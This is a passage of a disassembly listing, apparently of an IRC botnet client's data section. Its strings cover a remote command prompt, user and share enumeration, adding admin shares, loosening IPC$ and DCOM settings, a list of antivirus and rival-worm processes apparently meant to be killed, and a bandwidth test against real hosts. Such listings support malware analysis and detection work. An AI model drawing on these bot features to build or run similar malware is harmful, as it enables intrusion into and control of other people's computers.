sub_418EA8+25o align 4 ; char asc_439B84[] asc_439B84 db '-' ; DATA XREF: sub_418FE5+ACo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoShareSpecif db '- %s: no share specified',0 align 4 ; char asc_439BA8[] asc_439BA8 db '-' ; DATA XREF: sub_418FE5+8Ao db 3, 34h, 2 dd 274656Eh, 25202D03h, 68732073h, 3A657261h, 73252720h dd 27h ; char asc_439BC4[] asc_439BC4 db '-' ; DATA XREF: sub_418FE5+58o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0 align 10h ; char a14s24s6u4s[] a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o align 4 aNo db 'No',0 ; DATA XREF: sub_4191DB+BCo align 4 aYes db 'Yes',0 ; DATA XREF: sub_4191DB+B5o ; char asc_439C10[] asc_439C10 db '-' ; DATA XREF: sub_4191DB+76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListError db '- share list error %s <%ld>',0 align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_4191DB+26o align 10h ; char asc_439C70[] asc_439C70 db '-' ; DATA XREF: sub_4192FC+B7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSNoUsernameSpe db '- %s: no username specified',0 align 4 ; char asc_439C98[] asc_439C98 db '-' ; DATA XREF: sub_4192FC+95o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0 align 4 ; char asc_439CC8[] asc_439CC8 db '-' ; DATA XREF: sub_4192FC+6Do db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aSUsernameS db '- %s username: ',27h,'%s',27h,0 align 4 ; char asc_439CE8[] asc_439CE8 db '-' ; DATA XREF: sub_419443+3AFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserInfoErrorL db '- user info error <%ld>',0 align 4 ; char aUnitsPerWeekD[] aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o align 10h ; char aMax_StorageD[] aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao align 4 ; char aUserSLanguageD[] aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo ; char aCountryCodeD[] aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o align 4 ; char aWorkstationsS[] aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o align 10h ; char aLogonServerS[] aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo align 4 ; char aLastLogoffD[] aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419443+283o ; char aLastLogonD[] aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419443+258o align 4 ; char aNumberOfLogins[] aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do align 4 ; char aBadPasswordCou[] aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o align 4 ; char aPasswordAgeD[] aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o align 4 ; char aParametersS[] aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419443+1ACo align 4 ; char aHomeDirectoryS[] aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o align 4 ; char aAuthFlagsD[] aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419443+156o align 4 ; char aPrivilegeLevel[] aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo aGuest db 'Guest',0 ; DATA XREF: sub_419443:loc_419562o align 4 aUser_3 db 'User',0 ; DATA XREF: sub_419443:loc_41955Bo align 10h aAdministrator db 'Administrator',0 ; DATA XREF: sub_419443:loc_419554o align 10h ; char aCommentS[] aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419443+DAo ; char aUserCommentS[] aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo align 10h ; char aFullNameS[] aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419443+84o align 10h ; char aAccountS[] aAccountS db 'Account: %S',0 ; DATA XREF: sub_419443+50o ; char aTotalUsersFoun[] aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo align 4 ; char asc_439EA4[] asc_439EA4 db '-' ; DATA XREF: sub_41982C+F7o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aAnAccessViolat db '- an access violation has occured',0 align 10h ; char aS_4[] aS_4 db ' %S',0 ; DATA XREF: sub_41982C+BEo align 4 ; char asc_439ED8[] asc_439ED8 db '-' ; DATA XREF: sub_41982C+7Ao db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListErrorS db '- user list error %s <%ld>',0 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o ; char aNetworkConnect[] aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o align 10h aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o align 4 aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo align 4 aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o align 4 aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo align 4 aThePasswordIsS db 'The password is shorter than required (or does not meet the passw' ; DATA XREF: sub_4199AC:loc_419A90o db 'ord policy requirement.)',0 align 10h aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o align 4 aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o align 10h aTheOperationIs db 'The operation is allowed only on the primary domain controller of' ; DATA XREF: sub_4199AC+CFo db ' the domain.',0 align 10h aAGeneralFailur db 'A general failure occurred in the network hardware.',0 ; DATA XREF: sub_4199AC:loc_419A57o aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o aDeviceOrDirect db 'Device or directory does not exist.',0 ; DATA XREF: sub_4199AC:loc_419A49o aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo align 4 aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o align 10h aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_4199AC:loc_419A0Fo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o align 4 aThisNetworkReq db 'This network request is not supported.',0 ; DATA XREF: sub_4199AC:loc_4199FBo align 4 aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo align 10h ; char asc_43A1E0[] asc_43A1E0 db '-' ; DATA XREF: sub_419AE0+ABo db 3, 34h, 2 dd 274656Eh, 25202D03h, 34032073h, 76726553h, 3A037265h dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h ; char asc_43A20C[] asc_43A20C db '-' ; DATA XREF: sub_419AE0+81o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aMessageSentSuc db '- message sent successfully',0 align 4 dword_43A234 dd 7530h ; DATA XREF: sub_419F4D+12r off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo ; "regedit.exe" dd offset aMsconfig_exe ; "msconfig.exe" dd offset aNetstat_exe ; "netstat.exe" dd offset aMsblast_exe ; "msblast.exe" dd offset aZapro_exe ; "zapro.exe" dd offset aNavw32_exe ; "navw32.exe" dd offset aNavapw32_exe ; "navapw32.exe" dd offset aZonealarm_exe ; "zonealarm.exe" dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe" dd offset aPandaavengine_ ; "PandaAVEngine.exe" dd offset aSysinfo_exe ; "sysinfo.exe" dd offset aMscvb32_exe ; "mscvb32.exe" dd offset aMsblast_exe_0 ; "MSBLAST.exe" dd offset aTeekids_exe ; "teekids.exe" dd offset aPenis32_exe ; "Penis32.exe" dd offset aBbeagle_exe ; "bbeagle.exe" dd offset aSysmonxp_exe ; "SysMonXP.exe" dd offset aWinupd_exe ; "winupd.exe" dd offset aWinsys_exe ; "winsys.exe" dd offset aSsate_exe ; "ssate.exe" dd offset aRate_exe ; "rate.exe" dd offset aD3dupdate_exe ; "d3dupdate.exe" dd offset aIrun4_exe ; "irun4.exe" dd offset aI11r54n4_exe ; "i11r54n4.exe" aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: sub_419C09+ECo ; .data:0043A294o align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:0043A290o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:0043A28Co align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:0043A288o align 10h aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:0043A284o align 4 aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:0043A280o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:0043A27Co align 4 aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:0043A278o align 4 aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:0043A274o aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:0043A270o aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:0043A26Co aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:0043A268o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:0043A264o aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:0043A260o aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0043A25Co align 10h aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:0043A258o aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:0043A254o align 4 aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:0043A250o align 4 aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:0043A24Co align 4 aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:0043A248o align 10h aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:0043A244o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:0043A240o aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:0043A23Co align 4 aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .data:off_43A238o ; char aSD_0[] aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o align 10h ; char asc_43A3F0[] asc_43A3F0 db '-' ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 ; char asc_43A438[] asc_43A438 db '-' ; DATA XREF: sub_419E38+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 ; char aPrivmsgSS_1[] aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h ; char asc_43A4F0[] asc_43A4F0 db '-' ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 ; char asc_43A524[] asc_43A524 db '-' ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A548 dd offset aIpc ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao ; "IPC$" align 10h dd offset aAdmin_0 ; "ADMIN$" align 8 off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o dd offset dword_43A570 dd offset dword_43A56C dd offset dword_43A568 dword_43A568 dd 5C3A44h ; DATA XREF: sub_41A3C6+217o ; .data:0043A564o dword_43A56C dd 2444h ; DATA XREF: .data:0043A560o dword_43A570 dd 5C3A43h ; DATA XREF: .data:0043A55Co dword_43A574 dd 2443h ; DATA XREF: .data:off_43A558o aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .data:0043A550o align 10h aIpc db 'IPC$',0 ; DATA XREF: .data:off_43A548o align 4 ; char asc_43A588[] asc_43A588 db '-' ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo db 3, 34h, 2 dd 75636573h, 3026572h aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 ; char asc_43A5B8[] asc_43A5B8 db '-' ; DATA XREF: sub_41A3C6+2CFo db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesD db '- Network shares deleted.',0 align 10h ; char asc_43A5E0[] asc_43A5E0 db '-' ; DATA XREF: sub_41A3C6:loc_41A628o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h ; char asc_43A630[] asc_43A630 db '-' ; DATA XREF: sub_41A3C6:loc_41A595o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h ; char asc_43A680[] asc_43A680 db '-' ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o db 3, 34h, 2 dd 75636573h, 3026572h aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 ; char asc_43A6EC[] asc_43A6EC db '-' ; DATA XREF: sub_41A3C6:loc_41A4D3o db 3, 34h, 2 dd 75636573h, 3026572h aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h ; char asc_43A770[] asc_43A770 db '-' ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o db 3, 34h, 2 dd 75636573h, 3026572h aFailedToOpenDc db '- Failed to open DCOM registry key.',0 ; char asc_43A7A0[] asc_43A7A0 db '-' ; DATA XREF: sub_41A3C6:loc_41A433o db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h dd 2E64656Ch, 0 dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h ; char asc_43A7F0[] asc_43A7F0 db '-' ; DATA XREF: sub_41A6EA+2C3o db 3, 34h, 2 dd 75636573h, 3026572h aNetworkSharesA db '- Network shares added.',0 ; char aC_0[] aC_0 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 ; char aC_1[] aC_1 db '%c$',0 ; DATA XREF: sub_41A6EA+219o ; char asc_43A820[] asc_43A820 db '-' ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao db 3, 34h, 2 dd 75636573h, 3026572h aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 ; char asc_43A8A4[] asc_43A8A4 db '-' ; DATA XREF: sub_41A6EA:loc_41A7F3o db 3, 34h, 2 dd 75636573h, 3026572h aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 ; char asc_43A91C[] asc_43A91C db '-' ; DATA XREF: sub_41A6EA:loc_41A757o db 3, 34h, 2 dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh dd 2E6465h dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 ; char aPostHttp1_0Hos[] aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h ; char asc_43A990[] asc_43A990 db '-' ; DATA XREF: sub_41ABFB+1A7o db 3, 34h, 2 dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h dd 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o ; char asc_43AB9C[] asc_43AB9C db '-' ; DATA XREF: sub_41AF8F+297o db 3, 34h, 2 dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41AF8F+192o ; char aCouldnTResolve[] aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 ; char asc_43AC9C[] asc_43AC9C db '-' ; DATA XREF: sub_41B243+A4o db 3, 34h, 2 dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah dd 2Eh ; char off_43ACE0[] off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo dword_43ACE4 dd 4E414Ch ; DATA XREF: sub_41B243:loc_41B2A5o aDialUp db 'Dial-up',0 ; DATA XREF: sub_41B243+5Bo ; char aNotConnected[] aNotConnected db 'Not connected',0 ; DATA XREF: sub_41B243+48o align 10h ; char asc_43AD00[] asc_43AD00 db '-' ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 ; char asc_43AD5C[] asc_43AD5C db '-' ; DATA XREF: sub_41B302+1A0o db 3, 34h, 2 dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h dd 2Eh unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADD8 dd 6325h ; DATA XREF: .text:0041B89Co dword_43ADDC dd 0DFFh ; DATA XREF: .text:0041B6EAo dword_43ADE0 dd 51FFh ; DATA XREF: .text:0041B6DFo dword_43ADE4 dd 0EBFFh ; DATA XREF: .text:0041B6D4o dword_43ADE8 dd 201h ; DATA XREF: .text:0041B6BFo aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: .text:0041B6ADo align 10h dword_43AE00 dd 0E7E7891Ch ; DATA XREF: sub_41C2B8+4w _randr ... align 10h dword_43AE10 dd 173Fh ; DATA XREF: _floor+Dr dd 9875h, 9873h off_43AE1C dd offset __fpmath ; DATA XREF: __cinitr dd offset nullsub_2 dd offset nullsub_2 dword_43AE28 dd 1B3Fh ; DATA XREF: _ceil+Dr dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: __NLG_Notify1+2o ; __NLG_Notify+2o off_43AE40 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_43AE44 dd 2 ; DATA XREF: __FF_MSGBANNER+Er ; __NMSG_WRITE+46r ... dd 10h, 0 off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE68 dd offset dword_43AE68 dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:0043AE58o ; .data:0043AE5Co off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE78 dd offset __wctype+2 ; DATA XREF: _atol+23r ; _atol:loc_41C12Fr ... off_43CE7C dd offset __wctype+2 ; DATA XREF: _iswctype+18r public __wctype ; const unsigned __int16 _wctype[] __wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r ; .data:off_43CE78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) ; size_t SrcSizeInBytes SrcSizeInBytes dd 1 ; DATA XREF: _atol:loc_41C0D6r ; _atol:loc_41C11Ar ... byte_43D088 db 2Eh ; DATA XREF: __input:loc_4210A4r ; __input+311r ... align 4 dd 1 off_43D090 dd offset aNull ; DATA XREF: __output:loc_4202A3r ; __output+457r ; "(null)" off_43D094 dd offset aNull_0 ; DATA XREF: __output+259r ; "(null)" byte_43D098 db 1 ; DATA XREF: __setmbcp+E1r db 2, 4, 8 align 10h dword_43D0A0 dd 3A4h ; DATA XREF: __setmbcp+2Fo dword_43D0A4 dd 82798260h ; DATA XREF: __setmbcp+11Dr dd 21h, 0 dword_43D0B0 dd 0DFA6h ; DATA XREF: __setmbcp+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D190 dd 1 ; DATA XREF: __setmbcp+3Co ; __dosmaperr+Co dword_43D194 dd 16h ; DATA XREF: __dosmaperr:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch asc_43D2F8 db ' ',9,'-',0Dh,']',0 ; DATA XREF: __dosmaperr+19o ; __input:loc_421317o align 10h asc_43D300: ; DATA XREF: __input:loc_421207o unicode 0, <]>,0 align 8 dword_43D308 dd 14h ; DATA XREF: __get_fname+2o off_43D30C dd offset aExp ; DATA XREF: __get_fname:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 